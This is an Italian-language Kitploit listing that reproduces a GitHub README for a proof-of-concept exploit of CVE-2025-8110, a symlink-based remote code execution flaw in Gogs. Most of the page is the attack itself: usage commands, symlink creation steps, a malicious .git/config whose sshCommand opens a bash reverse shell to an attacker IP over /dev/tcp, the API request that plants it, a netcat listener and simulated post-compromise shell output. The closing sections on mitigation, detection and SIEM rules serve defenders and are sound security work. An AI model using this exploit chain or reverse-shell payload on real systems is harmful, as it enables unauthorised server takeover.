Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-8110 — PoC exploit per CVE-2025-8110 | Kitploit
Strumenti/GitHubGitHub/joaquinrrr/cve-2025-8110
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

PoC exploit per CVE-2025-8110

Vedi Repository
51 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-8110

Esecuzione remota di codice tramite symlink nei repository Gogs

Realizzato da oguiii


Indice

  • Panoramica
  • Caratteristiche
  • Requisiti
  • Installazione
  • Utilizzo
  • Flusso di lavoro dell'exploit
  • Analisi tecnica
  • Dimostrazione del proof of concept
  • Versioni interessate
  • Mitigazione
  • Rilevamento
  • Esclusione di responsabilità
  • Licenza

Panoramica

CVE-2025-8110 è una vulnerabilità critica in Gogs che consente a utenti autenticati di ottenere l'esecuzione remota di codice manipolando i symlink nei repository. Questo proof of concept dimostra l'intera catena di sfruttamento, dall'autenticazione fino all'ottenimento di una reverse shell.

La vulnerabilità esiste perché Gogs segue i symlink durante la gestione dei file dei repository tramite la propria API, consentendo a un utente malintenzionato di leggere e modificare file sensibili come .git/config. Iniettando una direttiva sshCommand malevola, è possibile eseguire comandi di sistema arbitrari con i privilegi dell'account di servizio di Gogs.

Punteggio CVSS: 7.2 (Alto)
Vettore di attacco: Rete
Autenticazione richiesta: Sì
Interazione utente: Nessuna
Impatto: Compromissione completa del sistema


Caratteristiche

  • Estrazione automatica del token CSRF con molteplici metodi di fallback
  • Gestione delle sessioni e dell'autenticazione
  • Creazione automatica del repository con parametri configurabili
  • Flusso di sfruttamento basato su symlink
  • Generazione del payload della reverse shell
  • Supporto proxy per debug e analisi
  • Logging dettagliato e gestione degli errori
  • Output console colorato per una migliore leggibilità
  • Modalità verbosa per la risoluzione dei problemi

Requisiti

Requisiti di sistema

  • Python 3.6 o superiore
  • Git installato e accessibile nel PATH
  • Accesso di rete all'istanza Gogs di destinazione

Dipendenze Python

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Installazione

Clonazione e configurazione

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Struttura del progetto

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # Main exploit script
├── requirements.txt    # Python dependencies
└── README.md          # Documentation

Utilizzo

Opzioni della riga di comando

Utilizzo di base

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Con proxy per il debug

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Modalità verbosa per la risoluzione dei problemi

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Flusso di lavoro dell'exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

Analisi tecnica

Causa principale della vulnerabilità

Gogs non riesce a sanificare adeguatamente la traversata dei symlink quando gestisce i file dei repository tramite la propria API. Quando un file viene acceduto tramite l'endpoint API, Gogs segue i symlink senza validazione, consentendo l'accesso a file sensibili al di fuori della directory del repository.

Dettagli del vettore di attacco

  1. Creazione del symlink

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Configurazione malevola

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Sfruttamento tramite API

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Analisi del codice

Estrazione del token CSRF

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Iniezione della configurazione malevola

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Dimostrazione del proof of concept

Configurazione dell'attacco

root@kitploit:~
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Output di sfruttamento riuscito

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Connessione della reverse shell

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Versioni interessate

Versioni vulnerabili

  • Versioni di Gogs precedenti alla 0.12.6
  • Tutte le versioni con supporto ai symlink abilitato (configurazione predefinita)

Verifica della versione

Per verificare la versione di Gogs:

root@kitploit:~
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version

Mitigazione

Azioni immediate

  1. Aggiornare Gogs

    root@kitploit:~
    # Backup existing installation
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # Download and install latest version
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. Disabilitare il supporto ai symlink

    root@kitploit:~
    # In custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. Implementare la validazione degli input

    • Sanificare i percorsi dei file prima dell'elaborazione
    • Impedire la traversata dei symlink
    • Validare i tipi di file e il contenuto

Misure di sicurezza a lungo termine

  • Implementare il principio del minimo privilegio per l'account di servizio di Gogs
  • Audit di sicurezza regolari e test di penetrazione
  • Segmentazione della rete per limitare l'esposizione di Gogs
  • Implementare regole per il Web Application Firewall (WAF)
  • Abilitare logging e monitoraggio completi
  • Backup regolari della configurazione e dei repository di Gogs

Regole del firewall

root@kitploit:~
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

Rilevamento

Indicatori di attività sospetta

  1. Attività sui repository

    • Creazione di repository con link simbolici
    • Più repository creati in un breve lasso di tempo
    • Nomi di repository insoliti (stringhe esadecimali casuali)
  2. Attività API

    • Richieste PUT a /api/v1/repos/*/contents/*
    • Modifica di .git/config tramite API
    • Alta frequenza di richieste API da una singola sessione
  3. Indicatori di sistema

    • Processi inattesi generati dall'utente Gogs
    • Connessioni di rete in uscita dal server Gogs
    • Pattern insoliti di accesso al file system

Comandi per l'analisi dei log

root@kitploit:~
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l

# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Monitor for outbound connections
ss -tunp | grep gogs

Integrazione con SIEM

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

Divulgazione responsabile

Questa vulnerabilità è stata scoperta e divulgata responsabilmente al team di sviluppo di Gogs. Il fornitore ha rilasciato una patch nella versione 0.12.6.

Cronologia

  • Scoperta: Maggio 2025
  • Divulgazione responsabile: Giugno 2025
  • Rilascio della patch: Giugno 2025
  • Divulgazione pubblica: Giugno 2025

Risorse aggiuntive

  • Avvisi di sicurezza ufficiali di Gogs
  • CWE-61: UNIX Symbolic Link Following
  • OWASP Testing Guide - Path Traversal
  • Documentazione di Git hooks
  • Documentazione API di Gogs

Esclusione di responsabilità

Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati. Gli utenti devono:

  1. Ottenere un esplicito permesso scritto prima di testare qualsiasi sistema
  2. Conformarsi a tutte le leggi e normative applicabili
  3. Utilizzare questo strumento in modo responsabile ed etico
  4. Non utilizzare questo strumento per scopi dannosi o non autorizzati

L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.


Licenza

Licenza MIT

Copyright (c) 2025 oguiii

Con la presente si concede gratuitamente a chiunque ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), il diritto di utilizzare, copiare, modificare, unire, pubblicare, distribuire, sublicenziare e/o vendere copie del Software, e di consentire alle persone a cui il Software è fornito di fare altrettanto, alle seguenti condizioni:

L'avviso di copyright sopra riportato e il presente avviso di autorizzazione devono essere inclusi in tutte le copie o parti sostanziali del Software.

IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSI, A TITOLO NON LIMITATIVO, LE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UNO SCOPO PARTICOLARE E ASSENZA DI VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O DI ALTRO TIPO, DERIVANTE DA, O IN CONNESSIONE CON, IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.


Contatti

  • GitHub: github.com/oguiii
  • Progetto: Exploit CVE-2025-8110

Riconoscimenti

  • Scoperta originale: zAbuQasem
  • Pubblicazione CVE: MITRE Corporation
  • Comunità: Ricercatori di sicurezza e penetration tester che hanno validato la vulnerabilità

Registro delle modifiche

Versione 1.0.0 (2025-06-25)

  • Rilascio iniziale
  • Implementazione completa della catena di sfruttamento
  • Estrazione del token CSRF con metodi di fallback
  • Creazione automatica del repository e upload del symlink
  • Generazione del payload della reverse shell
  • Supporto proxy per il debug
  • Documentazione completa

Realizzato con dedizione da oguiii

Scarica lo strumento
OpzioneDescrizioneObbligatorio
-u, --urlURL di base di Gogs (es. https://gogs.example.com)Sì
-lh, --hostIndirizzo IP dell'attaccante per la reverse shellSì
-lp, --portPorta dell'attaccante per la reverse shellSì
-U, --usernameNome utente GogsSì
-P, --passwordPassword GogsSì
-x, --proxyAbilita proxy (localhost:8080)No
-v, --verboseAbilita output verbosoNo